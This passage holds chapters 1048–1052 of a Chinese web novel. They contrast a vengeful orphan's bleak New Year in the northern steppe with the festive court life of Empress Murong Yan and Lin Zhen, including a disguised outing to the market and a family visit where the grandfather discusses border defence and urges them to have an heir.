那些他思念的人,都已经变成了冰冷的尸体,或许连尸骨都无人收敛,任由野狗啃噬,风雪掩埋。 而他自己,却穿着仇敌赐予的衣袍,置身于这蛮荒苦寒之地,认贼作父,与豺狼为伍。 “呃……”一声压抑不住的、如同受伤幼兽般的呜咽,从他喉咙深处溢出,迅速被呼啸的寒风撕碎、吞没。 眼泪毫无征兆地涌出,滚烫的泪珠刚滑出眼眶,就被冻成了冰棱,挂在长长的睫毛上,模糊了视线。 他死死咬住下唇,直到口中弥漫开一股腥甜的铁锈味,才勉强没有哭出声来。 不能哭! 在这里,眼泪是软弱,是取死之道! 他猛地抬手,用带着厚厚皮手套的手背,粗暴地擦去脸上的冰碴,动作大得几乎要擦破皮肤。 “驸马爷,怎么了?”不远处的老百夫长似乎察觉到了他的异样,策马靠近几步,浑浊的眼睛警惕地扫视着四周,“发现什么了吗?还是冻着了?” 他的漠北语带着浓重的口音。 孔志谦迅速低下头,借着整理皮帽的动作掩饰住脸上的泪痕和失控的情绪,再抬头时,脸上已恢复了平日那种与年龄不符的、近乎麻木的平静,用略显生硬但清晰的漠北语回答: “没什么,巴特尔师傅。风大,迷了眼睛。” 他的声音在寒风中断断续续,却努力保持着平稳。 老百夫长狐疑地看了他一眼,见他确实不像发现敌情的样子,便嘟囔了一句:“这鬼天气,是要小心点。跟紧了,我们再去前面那个坡地看看,教你怎么通过雪地上的痕迹判断有没有人马经过。” “是。”孔志谦低低应了一声,催动马匹,跟了上去。 他强迫自己将所有的注意力都集中在老百夫长的讲解上,集中在辨认雪地上那些杂乱无章的印记上,集中在抵御这无孔不入的严寒上。 他必须忘记,必须麻木。 思念是奢侈品,是毒药,会让他变得脆弱,会让他万劫不复。 然而,那份刻骨的乡愁,并未真正消失,它如同这雪原下的冻土,看似坚硬,内里却蕴藏着无尽的寒意与死寂,并且,与那滔天的仇恨牢牢地冻结在了一起。 每一次对故乡温暖的回忆,都像是在他心头的伤口上又撒了一把盐,然后迅速被现实的冰雪冻结,变得更加坚硬,更加冰冷。 夜幕降临,训练结束。孔志谦拖着几乎冻僵的身体,回到那顶属于他的、华丽却冰冷的驸马帐。 帐内点着牛油灯,光线昏暗。 萨仁公主已经被嬷嬷带去休息。他脱下沉重冰冷的皮袍,独自坐在狼皮褥子上,望着跳动的灯焰,一动不动。 帐外,风声依旧凄厉。 帐内,死寂无声。 他缓缓从贴身的衣袋里,摸出那小块从曲阜带出来的、被火烧得焦黑、边缘锐利的玉佩碎片。 这是母亲留给他的唯一念想。 冰冷的触感从指尖传来,却奇异地带来一丝虚幻的慰藉。 他紧紧攥着它,指尖因用力而发白,仿佛要从这冰冷的死物中,汲取一丝早已不存在的温暖。 “慕容嫣……林臻……”他对着摇曳的灯焰,用微不可闻的声音,再次念出这两个名字。 只是这一次,那声音里,除了滔天的恨意,还混杂了一种更深沉、更绝望的、如同这漠北寒冬一般无边无际的悲凉。 他知道,他再也回不去了。 那个有梅香、有书声、有温暖的曲阜,只存在于他的记忆里,并且,永远蒙上了一层血色的阴影。 而他今后的路,只剩下一条——在这冰天雪地中,活下去,变强,然后,带着漠北的铁骑,踏向南边那个夺走他一切的世界。 乡愁,不过是这条复仇之路上,必须忍受的、另一种形式的酷刑罢了。 第1048章 悲欢不同 圣徽四年,元月初一。 长安城。 当漠北龙城还笼罩在破晓前最深的严寒与黑暗中时,五千里外的帝都长安,已然沉浸在一片鼎沸的喜庆之中。 寅时刚过,太极宫承天门外,早已百官云集,旌旗猎猎。身着繁复朝服的文武官员,按品级肃立于汉白玉铺就的广场上,呵出的白气在晨曦微光中连成一片。 宫灯如昼,将宫殿巍峨的轮廓映照得金碧辉煌。 卯时正,钟鼓齐鸣,庄严肃穆的乐曲响彻云霄。 紫宸殿巨大的殿门缓缓开启,帝后仪仗迤逦而出。 慕容嫣头戴九凤四凤珠冠,身着玄黑为底、绣满日月星辰十二章纹的衮服,外罩一件金线密织凤凰于飞纹样的曳地大氅,威仪万千,在林臻的陪同下,缓步登上承天门楼,接受万民朝拜。山呼海啸般的“万岁”声,如同潮水般涌来,震动着寒冷的空气。 站在高高的城楼上,俯瞰着下方密密麻麻、充满敬畏与欢欣的面孔,望着远处街巷间舞动的凤灯和喧天的锣鼓,慕容嫣的脸上,带着符合帝王身份的、庄重而雍容的微笑。 唯有微微侧首与身旁并肩而立的林臻交换眼神时,那眼底深处才会流露出一丝不易察觉的、属于人间的暖意。 相较于城楼上的国礼大典,宫内的元日家宴则更显温馨。 设在甘露殿的宴席,虽不及外朝典礼那般肃穆,却依旧极尽皇家奢华。 殿内暖如春日,巨大的鎏金铜兽炉中熏香袅袅。 御膳房呈上的珍馐美馔琳琅满目,宫女太监们穿梭不息。 慕容嫣贴身穿着的那件黑金苏锦棉质睡裙——神凤降世裙,依旧是她此刻的底色。 墨黑的苏锦底料在殿内明亮的宫灯照耀下,泛着深沉的光泽,织入的金色棉绒与金线绣成的凤凰暗纹,在绛红宫装的映衬下,若隐若现,流淌着内敛的华贵。 那件黑金貂皮披肩,因殿内温暖,并未上身,由宫女捧着立于身后。 长达五丈的苏锦拖尾,被巧妙地收束在宫装曳地裙裾之内,虽不显凌乱,但那特有的重量感和质感,依旧是她时刻感知的存在。 林臻坐在她身侧,身着亲王常服,气度沉稳。 帝后二人不时低声交谈,慕容嫣偶尔会因宗室孩童稚拙的祝词而莞尔,也会在林臻为她布菜时,投去温柔的一瞥。 宴会气氛融洽,丝竹管弦之声不绝于耳,舞姬们水袖翩跹,一派盛世祥和、天家团圆的景象。 “陛下今日气色甚好,”一位年长的宗室王妃笑着奉承道,“可见是新年新气象,福泽绵长。” 慕容嫣微微一笑,举杯示意: “承皇婶吉言,愿我大乾风调雨顺,国泰民安。” 她目光扫过满殿的欢声笑语,心中却不由自主地闪过一丝对比的念头。 这满殿的温暖、奢华与安宁,与暗卫密报中描述的、那个在漠北苦寒之地挣扎求存的孔家遗孤的境遇,何止天壤之别。 但这念头只是一闪而过,很快便被宴会的喜庆气氛所淹没。 她是大乾的女帝,她的悲悯,首先应给予她的子民和这片江山。 与此同时,漠北龙城。 这里没有钟鼓,没有朝拜,没有盛宴。 当长安沐浴在元旦晨曦中时,龙城才刚刚迎来一片灰蒙蒙的、毫无暖意的天光。寒风依旧凛冽,卷着地上的雪沫,抽打着每一顶毡帐。 王庭中也有些许过年的迹象,比如一些毡帐门口挂上了寓意吉祥的兽骨饰品,人们也会互道一声“新年安康”,但这一切都笼罩在一种粗犷而压抑的氛围中,与长安的繁华精致形成尖锐对比。 孔志谦所住的驸马帐内,牛油灯燃了一夜,光线昏暗。 他早已起身,穿着厚重的皮袍,正在帐内一角,跟着乌维指派的一名老武士,练习漠北的摔跤技巧。 冰冷的空气让他每一次呼吸都带着白雾,动作也因为厚重的衣物而显得有些笨拙和迟缓。 帐内没有地龙,只有一个小小的炭盆,散发的热量勉强驱散一隅寒意。 早餐是冰冷的奶疙瘩和一块风干的肉条,粗糙得难以下咽。 他默默地咀嚼着,味同嚼蜡。帐外传来萨仁公主和几个侍女嬉笑打闹的声音,似乎在玩一种漠北孩童的游戏,偶尔有清脆的铃铛声传来。 但那笑声,丝毫感染不了他。他只觉得吵闹,更衬得他内心的孤寂。 上午,他按照惯例,要去左贤王乌维的大帐请安,并接受新的“教诲”。 乌维似乎为了彰显对他的“重视”,元日这天也没有放松对他的“培养”。 在充斥着酒气和肉腥味的大帐里,乌维一边接受着部下的新年祝贺,一边用带着醉意的、锐利的目光审视着孔志谦,问了他几个关于中原年节习俗的问题,看似闲聊,实则暗含试探。 孔志谦谨慎地回答着,每一句话都在心中反复权衡,生怕露出丝毫破绽或情绪。他必须扮演好那个“感激涕零”、“一心向漠北”的圣裔驸马角色。 午后,他被允许有一些自由时间。 他没有像其他漠北贵族青年那样去参加赛马或饮酒作乐,而是独自一人,骑着马,缓缓行至龙城边缘一处可以眺望南方的高坡。 脚下是茫茫雪原,天地间一片死寂的白,与记忆中曲阜元日时,祠堂里香烟缭绕、族人齐聚、孩子们穿着新衣追逐嬉戏的热闹景象,形成了撕裂心肺的对比。 他仿佛又能闻到母亲亲手做的年糕的甜香,听到父亲在祠堂诵读祭文时庄重的声音……那种熟悉的、令人窒息的酸楚再次涌上喉头。 他死死攥紧缰绳,指节发白,强迫自己将这一切回忆压下去,转化为更深的恨意。 傍晚回到毡帐,萨仁公主兴高采烈地拿来了乌维赏赐的新年礼物——一把镶嵌着宝石的精致小匕首和一顶新的狐皮帽子。 小女孩脸上洋溢着单纯的快乐,叽叽喳喳地说着话。 孔志谦勉强挤出一丝笑容,接过礼物,道了谢,内心却是一片冰冷。 这些赏赐,不过是乌维笼络人心的工具,每一件都提醒着他寄人篱下的屈辱。 夜幕降临,龙城陷入了更深的寒冷与寂静。 没有璀璨的灯火,没有喧闹的宴饮,只有风声如同冤魂的哭泣,在旷野上回荡。 孔志谦独自坐在帐内,就着昏黄的灯火,翻看着那本边缘磨损的《论语》。 字迹是父亲的,内容是他自幼熟读的,但此刻读来,每一个字都像是一把钝刀,在切割着他的心。 圣贤之道,家国情怀,与眼前这蛮荒之地、认贼作父的现实,形成了无比荒谬而残酷的讽刺。 他吹熄了灯,躺在冰冷的狼皮褥子上,睁着眼睛,望着帐顶的黑暗。 远处隐约传来守夜士兵单调的报时声和狼群的嗥叫。 他知道,此时此刻,在遥远的长安,那个夺走他一切的女人,正享受着万民朝拜,锦衣玉食,与她的爱人共享天伦之乐。 强烈的恨意,如同毒焰般在他胸中燃烧,几乎要将他吞噬。 这恨意,是支撑他在冰原上活下去的唯一燃料。 而在长安的甘露殿,盛宴已近尾声。 慕容嫣感到些许疲惫,在林臻的陪伴下,起驾返回紫宸宫。 坐在温暖的銮驾中,听着远处依稀传来的、彻夜不息的民间欢歌,她轻轻靠在林臻肩头,闭上眼,享受着这难得的安宁时刻。 对于远在漠北的那个少年心中翻涌的滔天恨意,她一无所知,或许即便知道,在她看来,那也是逆贼余孽应有的、不足挂齿的情绪。 一边是凤阙笙歌,暖阁春深;一边是狼帐孤灯,冰原血泪。 第1049章 一边绿,一边红 正月初二。 接连几日的大雪终于停歇,久违的冬阳透过薄云,洒下些许稀薄却珍贵的暖意,照在覆盖着皑皑白雪的琉璃瓦和街巷上,反射出耀眼的金光。 空气中弥漫着爆竹燃放后的硝石味、各家各户飘出的食物香气,以及一种节庆特有的、慵懒而欢快的气息。 按照祖制,年初二帝后需斋戒祈福,但慕容嫣以“体察民情,与民同乐”为由,决定微服出宫半日。 辰时末,一辆外观朴素却不失雅致的双驾青绸马车,在数名扮作家丁护卫的禁军高手暗中随行下,悄无声息地驶出了玄武门,汇入了长安城熙熙攘攘的人流中。 马车内,铺着厚厚的绒毯,角落里的紫铜手炉散发着融融暖意。 慕容嫣贴身穿着的那件神凤降世裙,依旧是她绝不离身的底色。 墨黑的苏锦棉质底料柔软地贴合着她的身躯,织入的金色棉绒与金线绣成的凤凰暗纹,在常服衣料的遮掩下若隐若流,唯有在她动作时,方能从领口、袖缘处窥见一丝内敛的华彩。 那件黑金貂皮披肩此刻派上了用场,被她严实地裹在身上,绒毛在从车窗缝隙透入的光线下泛着幽暗的光泽,有效地抵御了车外的寒意。 长达五丈的苏锦拖尾,被巧妙地折叠、收敛,藏于常服宽大的裙裾之内,虽不显拖沓,但那特有的重量感依旧存在。 她头上戴着一顶缀有轻纱的帷帽,遮住了倾世容颜,只露出一双清澈而好奇的凤眸,打量着窗外久违的市井景象。 林臻则是一身寻常世家公子的锦衣打扮,俊朗非凡,气度清华,坐在她身侧,目光温柔地落在她身上。 “嫣儿,你看那边,”林臻指着窗外一处人头攒动的集市,声音带着笑意,“是西市,年节里最是热闹。” 慕容嫣顺着他的手指望去,只见街道两旁店铺林立,旌旗招展,卖年画的、售花灯的、吹糖人的、售各色干果蜜饯的……琳琅满目,令人目不暇接。 叫卖声、讨价还价声、孩童的嬉笑声交织在一起,充满了鲜活的生命力。这与宫中所见的井然有序、庄严肃穆截然不同,是一种扑面而来的、热气腾腾的烟火气。 “停车。”慕容嫣轻声吩咐,声音里带着一丝难得的雀跃。 马车在街口停下,林臻先下车,然后小心翼翼地扶着她走下马车。 脚踏在清扫过积雪但仍有些湿滑的青石板路上,慕容嫣下意识地紧了紧身上的黑金貂皮披肩。 林臻立刻察觉,伸手为她将披风的前襟拢得更严实些,柔声道:“地上滑,当心些。” “嗯。”慕容嫣点点头,帷帽下的唇角微微扬起。 她主动伸出手,轻轻挽住了林臻的臂弯。 这个在宫中绝不会做出的亲昵举动,在此刻喧嚣的市井中,却显得自然而然。 两人如同寻常的贵族夫妻,汇入了摩肩接踵的人流。 慕容嫣对一切都充满了好奇,她在卖精巧剪纸的摊前驻足,拿起一张栩栩如生的“龙凤呈祥”剪纸仔细端详;又在卖冰糖葫芦的老翁前停下脚步,看着那晶莹剔透、红艳诱人的果子,眼中流露出兴趣。 “想吃?”林臻低头,凑近她耳边轻声问,温热的气息拂过她的耳廓。 慕容嫣有些不好意思地点点头。 林臻笑着掏出一小块碎银,买了两串最大的,递到她手中一串。 慕容嫣隔着轻纱,小心地咬了一口,酸甜冰凉的滋味在口中化开,让她满足地眯起了眼。 林臻看着她孩子气的模样,眼中的宠溺几乎要溢出来。 他们又逛了卖绫罗绸缎的铺子,慕容嫣饶有兴致地摸了摸一匹质地柔软的江南云锦,与林臻低声讨论着花纹配色。 在卖文房四宝的店铺,林臻为她挑选了一套上好的湖笔徽墨;还在一个卖民间小玩的摊子上,买了一个会摇头晃脑的泥塑不倒翁,逗得慕容嫣轻笑出声。 行至一处猜灯谜的彩棚前,更是围得水泄不通。 各式各样的花灯悬挂着,下面缀着写有谜语的纸条。 才子佳人,贩夫走卒,皆在凝神思索,或窃窃私语,或拊掌叫好,气氛热烈。 “夫君,你看那个,”慕容嫣指着一盏走马灯上谜面:“‘一边绿,一边红,一边喜雨,一边喜风’(打一字),是何解?” 林臻略一思索,便笑道:“此乃‘秋’字。禾苗绿喜雨,火苗红喜风。” “原来如此。”慕容嫣恍然,帷帽下的眼眸亮晶晶的,“夫君真是博学。” 这时,旁边一个书生模样的年轻人正在为同伴解释另一个谜题,声音清朗,引得众人喝彩。 慕容嫣听得入神,不禁微微颔首。林臻看在眼里,心中一动,对那书生温言道:“这位兄台,见解精妙。不知可愿为内子解说旁边那盏莲花灯上的谜题?” 他姿态谦和,毫无架子。 那书生见林臻气度不凡,身旁女子虽掩着面容,但身姿仪态绝非寻常,连忙拱手客气了几句,然后认真地讲解起来。 慕容嫣听得津津有味,偶尔还会低声与林臻交流几句。 这一刻,他们仿佛真的只是一对出来游玩、偶遇才子、切磋文采的普通夫妻,远离了庙堂的纷争与权谋的算计。 不知不觉,日头已偏西。随行的护卫首领悄然上前,在林臻耳边低语了几句。 林臻会意,对慕容嫣轻声道:“嫣儿,时辰不早,该回去了。” 慕容嫣眼中流露出一丝不舍,但还是乖巧地点了点头。回去的路上,她手中多了一包刚出锅、还冒着热气的桂花糖炒栗子,是林臻见她多看了两眼,特意买给她的。 马车缓缓驶回皇城,将市井的喧嚣与烟火气隔绝在外。回到紫宸宫,屏退左右,慕容嫣才摘下帷帽,露出一张因兴奋和微寒而泛着红晕的俏脸。 她长长舒了口气,眼中还残留着游玩的欢愉:“许久未曾这般自在走动了,真是有趣。” 林臻替她解下那件带着室外寒气的黑金貂皮披肩,交给宫女,又亲手倒了一杯热茶递到她手中,柔声道:“你若喜欢,日后得了空闲,我再陪你出来走走。” 慕容嫣捧着温暖的茶杯,感受着指尖传来的热度,抬头望着他,眼中满是依赖与柔情:“好。只是今日,辛苦夫君陪我受累半日了。” “与你在一起,何谈辛苦。”林臻轻笑,伸手替她理了理方才被帷帽稍稍弄乱的鬓发,“看你开心,我便开心。” 第1050章 孙媳拜见祖父 傍晚。马车驶离喧嚣的西市,穿过戒备森严的坊门,进入了位于皇城东南隅的摄政王府邸所在街区。 与市井的喧腾相比,这里显得格外静谧庄严。 高墙深院,朱门铜钉,门前矗立着威风凛凛的石狮子,虽不及紫宸宫恢弘,却自有一股沉淀了岁月与功勋的厚重气度。 这里是林家的根基所在,也是摄政王林臻自幼长大的地方。 马车在府门前稳稳停住。 早已得到通传的王府总管带着一众仆役,已恭敬地候在门前。 林臻先下车,然后转身,小心翼翼地搀扶着慕容嫣步下马车。 尽管是微服省亲,但帝后驾临,礼数不可废。 慕容嫣已重新戴好了帷帽,遮住了容颜。 “老奴恭迎陛下,恭迎王爷回府!”总管率领众人跪拜行礼,声音中充满了激动与荣耀。 府中许多老人都是看着林臻长大的,对这位年轻有为的王爷,以及他亲自迎娶、如今母仪天下的女帝,有着深厚的感情。 “平身吧,今日是家宴,不必多礼。”林臻温和地抬手,语气中带着回到熟悉环境的放松。 他侧身对慕容嫣低声道:“爷爷定是在暖阁里等急了。” 慕容嫣微微颔首,隔着轻纱,能感受到府中那种不同于宫廷的、更为亲切的氛围。 她任由林臻牵着自己的手,在总管的前导下,缓步走入府中。 穿过几重仪门,绕过影壁,府内的景致豁然开朗。 虽是冬日,庭院中的松柏依然苍翠,枝头覆着未化的积雪,假山亭榭错落有致,虽无宫苑的极致奢华,却处处透着雅致与匠心。 廊庑下悬挂着喜庆的灯笼,为这份庄重添上了年节的暖意。 径直来到府邸深处的一处独立院落,这里是老摄政王林震仙颐养天年的居所。 院中一株老梅正凌寒怒放,幽香暗浮。 两名身着劲装、目光锐利的亲卫无声地行礼后,推开了暖阁的雕花木门。 一股混合着淡淡药香、陈年书香和檀木气息的暖流扑面而来。 阁内陈设古朴大气,多宝格上陈列着兵器模型、疆域沙盘和一些古籍,墙壁上悬挂着巨幅的军事舆图,无声地诉说着主人戎马倥偬的过往。 一位须发皆白、面色红润、身形依旧挺拔的老者,正坐在临窗的紫檀木圈椅上,手中捧着一卷兵书。 他并未穿朝服,只着一身藏青色家常锦袍,但眉宇间那股不怒自威、历经沙场淬炼出的杀伐之气,却难以掩盖。 正是三朝元老、功勋卓著、如今已卸下重担、安心养老的老摄政王——林震仙。 见到孙儿和林嫣进来,林震仙放下书卷,炯炯有神的目光扫了过来,脸上露出了真切而温暖的笑容。 “孙儿,给爷爷请安!”林臻松开慕容嫣的手,率先躬身行礼。 慕容嫣也随即取下帷帽,递给身旁的侍女,露出真容,然后优雅而恭敬地敛衽一礼,轻声道:“孙媳慕容嫣,给爷爷请安。” 在她行礼的瞬间,那身常服之下墨金色的神凤降世裙的裙摆,随着动作微微波动,虽被外袍遮掩,却依然能感受到其存在的分量。 “好,好,快起来,自家人,哪来这么多虚礼。”林震仙声音洪亮,带着老人特有的爽朗,他站起身,虚扶了一下,“外面冷吧?快过来烤烤火。” 他目光慈爱地落在慕容嫣脸上,仔细端详了一下,关切道:“嫣儿的气色,比前些日子宫里传话来说的好多了,看来静养是有效果的,这就好,这就好啊!” “劳爷爷挂心了,孙媳已无大碍。”慕容嫣走上前,在林臻的搀扶下,在老人下首的一张铺着软垫的椅子上坐下。 林臻则自然地坐在她身旁。立刻有侍女奉上热茶和精致的点心。 “臻儿也是,瞧着清减了些,朝政繁忙,也要顾惜自己的身体。”林震仙看向孙子,目光中带着赞许与不易察觉的担忧。 “孙儿晓得,爷爷放心。”林臻恭敬答道。 祖孙三人围炉而坐,品着香茗,说着些家常话,询问着彼此饮食起居,气氛温馨融洽。 慕容嫣也暂时放下了帝王的威仪,如同寻常人家的孙媳,细心询问着老人的身体,言语间满是敬重与关怀。 林震仙看着眼前这对璧人,眼中满是欣慰。 他一生征战,晚年最期盼的,莫过于儿孙绕膝,家族和睦。 闲话片刻后,林震仙放下茶盏,神色稍正,目光扫过墙上的北疆舆图,转而问道:“臻儿,今日你二人来得正好。北边……漠北那边,近来动静如何?老夫虽不在其位,但这把老骨头,听到些风声,心里总是不踏实。” 他虽然退休,但多年的军旅生涯养成的敏锐并未消退,加之旧部门生故吏众多,对边境局势自有其消息来源和判断。 林臻与慕容嫣对视一眼,知道这才是今日家宴的重点。 林臻坐直身体,语气变得沉稳而清晰:“回爷爷,正要向您禀报。漠北王庭这个冬天异常安静,但据‘夜枭’密报,这种安静更像是暴风雨前的蛰伏。乌维频繁召集部落首领议事,并大规模囤积箭矢,打造攻城器械。更重要的是,” 他顿了顿,声音微冷, “他正式将孔文博的幼子孔志谦推到了台前,赐予‘圣裔驸马’尊号,令其参与军政,其以‘圣裔’之名,行为南下侵略正名之实的企图,已昭然若揭。” “孔家遗孤……”林震仙花白的眉毛拧了起来,手指轻轻敲击着椅子扶手,发出沉闷的响声, “乌维这老狐狸,倒是打得好算盘!想用一面‘正统’的破旗,来动摇我军民之心?哼,痴心妄想!” 老人冷哼一声,眼中闪过一丝凌厉的杀气,那是久经沙场磨砺出的本能。 “爷爷说的是。”林臻点头,“此计虽毒,却也暴露了其心虚。我朝立国数十载,根基深厚,岂是区区一黄口小儿所能动摇?眼下,孙儿已严令北疆防线提高戒备,加派斥候,同时让杜相他们在士林中引导舆论,揭露其认贼作父、数典忘祖的实质。此外,孙儿已派人秘密前往西域,设法阻挠漠北可能与外邦进行的军马兵器交易。” 林震仙仔细听着,不时微微颔首。 他沉吟片刻,开口道:“你的应对,大体不差。示敌以强,内紧外松,是对的。北疆防线,郑蛟那小子是员虎将,有他把守,可保无虞。至于西域方面……” 老人眼中精光一闪, “光是阻挠交易,恐还不够。若能寻机,让大宛国内部生乱,或扶植亲我大乾的势力,方是长久之计。此事需极为隐秘,人选至关重要。” “孙儿明白,已命影一亲自挑选精干人手前往。”林臻答道。 “嗯,影一办事,老夫放心。”林震仙捋了捋长须,目光再次投向舆图,仿佛在回忆当年的金戈铁马, “北疆地广人稀,冬季漫长,利于守而不利于攻。乌维若真想大举南下,必待开春草长马肥之后。眼下至开春,这两个月,是关键。要抓紧时间整军备武,囤积粮草,加固城防。尤其是云州、燕然这几处要冲,万不可有失。” “爷爷教诲的是,孙儿记下了。”林臻恭敬应道。 慕容嫣在一旁静静听着,这时才柔声开口:“爷爷深谋远虑,孙媳与夫君受益匪浅。有爷爷坐镇指点,孙媳心中便踏实多了。” 林震仙看向她,目光温和下来:“嫣儿,你是一国之君,肩上的担子最重。臻儿在外为你分忧,你在朝中更要稳住大局。非常之时,当用非常之法,但亦要把握好分寸,既要震慑宵小,亦要安定人心。这其中的平衡,至关重要。” “孙媳谨记爷爷教诲。”慕容嫣郑重应道。 正事议罢,阁内的气氛重新轻松下来。 侍女们适时端上了丰盛的家宴菜肴。 虽不及宫廷御膳精致,却都是地道的家乡风味,充满了温馨的家的味道。 席间,林震仙兴致颇高,还讲了些林臻年幼时的趣事,引得慕容嫣掩口轻笑,林臻则有些无奈地摇头。 祖孙三人,其乐融融,仿佛外界的所有风云变幻,都被暂时隔绝在了这温暖的暖阁之外。 然而,无论是谈笑风生的林震仙,还是细心布菜的林臻,亦或是浅笑盈盈的慕容嫣,心中都清楚,这温馨的团圆背后,是北疆日益紧迫的局势。 第1051章 又是一年冬 摄政王府的暖阁内,炭火融融,酒足饭饱,方才商议北疆军务的凝重气氛渐渐被家宴的温馨所取代。 侍女们悄无声息地撤下残席,重新奉上清口的香茗和几样精致的果品。 老摄政王林震仙靠在铺着软厚貂皮垫的圈椅里,面色红润,带着几分酒后的惬意,目光慈爱地在孙儿林臻和孙媳慕容嫣身上流转。 慕容嫣端坐在林臻下首的紫檀木扶手椅上,经过一晚的休息和适才的热食,她苍白的脸颊上终于透出些许健康的红晕。 那件名为“神凤降世裙”的黑金苏锦棉质睡裙,如同她最贴身的铠甲与慰藉,墨黑的底料在温暖烛光下泛着幽深的光泽,织入的金色棉绒与金线绣成的凤凰暗纹,在宫装衣料的遮掩下,随着她细微的动作,流淌着沉稳而内敛的辉光。 她左手拇指上的墨玉扳指,在她端起茶杯时,与温润的瓷壁轻轻相触,发出细微的声响。 林臻坐在她身旁,姿态放松,正细心地剥着一颗蜜橘,将橘络剔除干净,然后自然地将橘瓣递到慕容嫣手中。 慕容嫣接过,小口品尝着,眼中带着满足的笑意,轻声对林臻道:“这橘子很甜,夫君也尝尝。” 林震仙将这小两口的互动看在眼里,花白的眉毛舒展开来,眼中满是欣慰。 他捋了捋长须,呵呵一笑,声音洪亮中带着一丝不易察觉的期盼:“看到你们二人如此恩爱和睦,爷爷我这心里啊,比喝了蜜还甜。” 他顿了顿,目光在慕容嫣尚显平坦的小腹处若有若无地扫过,语气变得更加温和,却带着长辈特有的、不容回避的关切, “嫣儿啊,你如今身子也见好了,北疆之事,自有臻儿和朝中众臣操心。你这心里头,最该惦记的,还是另一桩大事,也是咱们林家,乃至整个大乾的头等大事啊。” 慕容嫣正接过林臻递来的又一瓣橘子,闻言,动作微微一顿,白皙的脸颊上瞬间飞起两抹红云,如同染上了上好的胭脂。 她何等聪慧,岂能不知爷爷所指何事? 她下意识地垂下眼睑,长而密的睫毛如同蝶翼般轻颤,握着橘瓣的手指也微微收紧了些,竟有些不知所措的羞涩。 这在她平日处理朝政时杀伐决断的女帝身上,是极少见的小女儿情态。 林臻见状,立刻放下手中的橘子,伸手在桌下轻轻握住了慕容嫣微凉的手,掌心传来的温暖和力量让她稍稍安定。 他抬头看向爷爷,脸上带着温和却坚定的笑容,接过话头:“爷爷,您的心思,孙儿和嫣儿都明白。只是……此事急不得。嫣儿前番大病初愈,御医再三叮嘱需得好生将养,不宜过度劳心劳力,更需……循序渐进,方是长久之计。” 他言语间,既表达了理解长辈的期盼,又将责任揽到自己身上,巧妙地为慕容嫣化解了眼前的窘迫。 林震仙人老成精,哪里看不出孙儿的维护之意?他非但不恼,反而笑得更加开怀,指着林臻对慕容嫣道: “嫣儿你看,这小子,如今是越发会疼人了!好好好,知道你们年轻人有自己的章程,爷爷不催,不催。” 话虽如此,他眼中那份期盼却丝毫未减,转而语重心长地道: “不过啊,爷爷是过来人,说句实在话。这江山社稷,固然重要,但血脉传承,亦是国本。早日诞下麟儿,既是家喜,更是国福。朝野上下,不知多少双眼睛都盼着呢。有了嫡出的皇子,江山更加稳固,那些藏在暗处的宵小之辈,也能更死心些。爷爷我这把老骨头,如今别无他求,就盼着能早日抱上重孙子,享一享含饴弄孙的天伦之乐,将来九泉之下,也好向列祖列宗交代不是?” 这番话,情真意切,既有长辈的慈爱,又暗含了政治层面的深远考量,让人无法轻易反驳。 慕容嫣抬起头,脸上的红晕未退,但眼神已恢复了清明与郑重。她反手轻轻回握了一下林臻的手,然后看向林震仙,声音虽轻,却带着不容置疑的认真: “爷爷的教诲,孙媳谨记在心。为林家开枝散叶,绵延国祚,是孙媳的本分,亦是心中所愿。只是……正如夫君所言,此事关乎社稷根本,需待孙媳身体调养得宜,方能……方能不负爷爷和天下臣民所望。” 她说到后面,声音渐低,刚褪下的红晕又隐隐有泛起的趋势。 林臻适时地再次开口,语气轻松地将话题稍稍引开:“爷爷放心,孙儿定会好好照顾嫣儿,遵从御医嘱咐。待到来年春暖花开,嫣儿身体大安,说不定就有好消息让您老人家开心了。眼下,您啊,就安心颐养天年,朝中的事,有孙儿和嫣儿呢。” 林震仙何等人物,见好就收,哈哈一笑,端起茶杯呷了一口:“好好好,有你们这句话,爷爷就放心了!不说了,不说了,尝尝这新进的武夷岩茶,味道醇厚得很。” ...... 初三。 昨夜一场悄无声息的新雪,将摄政王府偌大的庭院妆点得银装素裹。 晨光熹微,映在洁白的雪地上,反射出晶莹剔透的光芒。 庭院中的亭台楼阁、苍松翠柏,都覆上了一层松软厚实的雪被,整个世界仿佛陷入了一种纯净而静谧的安详之中。 然而,这片静谧很快便被一阵轻快的脚步声和笑语打破。 慕容嫣身无繁复外袍,仅穿着她那身标志性的神凤降世裙,外罩一件与之相配的黑金色霞帔,便拉着林臻的手,兴致勃勃地踏入了这片琼瑶世界。 那神凤降世裙,乃是以极致玄黑的苏锦为底料,织造时融入了细软的金色棉绒,使得整块面料在自然光下,墨色底中隐隐流淌着暗金的光泽,华贵而不刺眼。 苏锦工艺精湛,质地轻盈,虽裙幅巨大,却并不会感到特别沉重。 这确实是一件棉质的睡裙,贴肤柔软,透气亲肤,在这冬日清晨的清寒中,因她行动间产生的热量以及内心孩童般的雀跃,倒也并不觉得十分寒冷。 睡裙之上,用最上等的真金线,以极其繁复的针法,绣着一只巨大的、神骏非凡的凤凰。 这凤凰图案并非局于一隅,而是自前胸后背起始,其展开的双翼蔓延至宽大华丽的喇叭袖上,袖口金线流苏坠边,振翅欲飞; 凤凰修长的尾羽,则化为一道磅礴的迤逦,与睡裙本身连为一体,形成了那长达五丈有余的苏锦拖尾。 此刻,这长长的拖尾并未经任何宫人拾掇,就那般自然而随意地拖曳在身后洁白无瑕的雪地上。 随着慕容嫣轻快的步伐,拖尾在雪中划出一道深深的、蜿蜒曲折的墨金色痕迹,将平整的雪面破坏,裙摆边缘沾上了晶莹的雪粒,苏锦的纹理与积雪交织,形成了一种充满动态的、极其凌乱的美感。 第1052章 林震仙又催孩子了 摄政王府那处遍植梅树的独立院落内,暖阁的门窗紧闭,将庭院中雪后的清寒彻底隔绝。 地龙烧得正旺,铜兽熏炉中袅袅升起的淡雅檀香,与窗外隐约透进的寒梅冷香交织,营造出一室温暖如春、静谧安详的氛围。 与外间一片银装素裹的冰雪世界相比,这里仿佛是另一个被精心呵护的天地。 慕容嫣与林臻刚从雪地嬉戏归来,身上还带着几分室外的清冷气息。 一踏入暖阁,融融暖意便包裹上来,令人通体舒泰。 慕容嫣身上那件神凤降世裙,那墨黑为底、织入金色棉绒的苏锦面料,在室内温暖光线下,愈发显得沉静深邃,流淌着一种吸饱了暖意后的、内敛的华贵光泽。 织入的金色棉绒与金线绣成的擎天巨凤暗纹,在静谧中仿佛蛰伏休憩,唯有在她动作时,才于衣料褶皱间流转出淡淡的金辉。 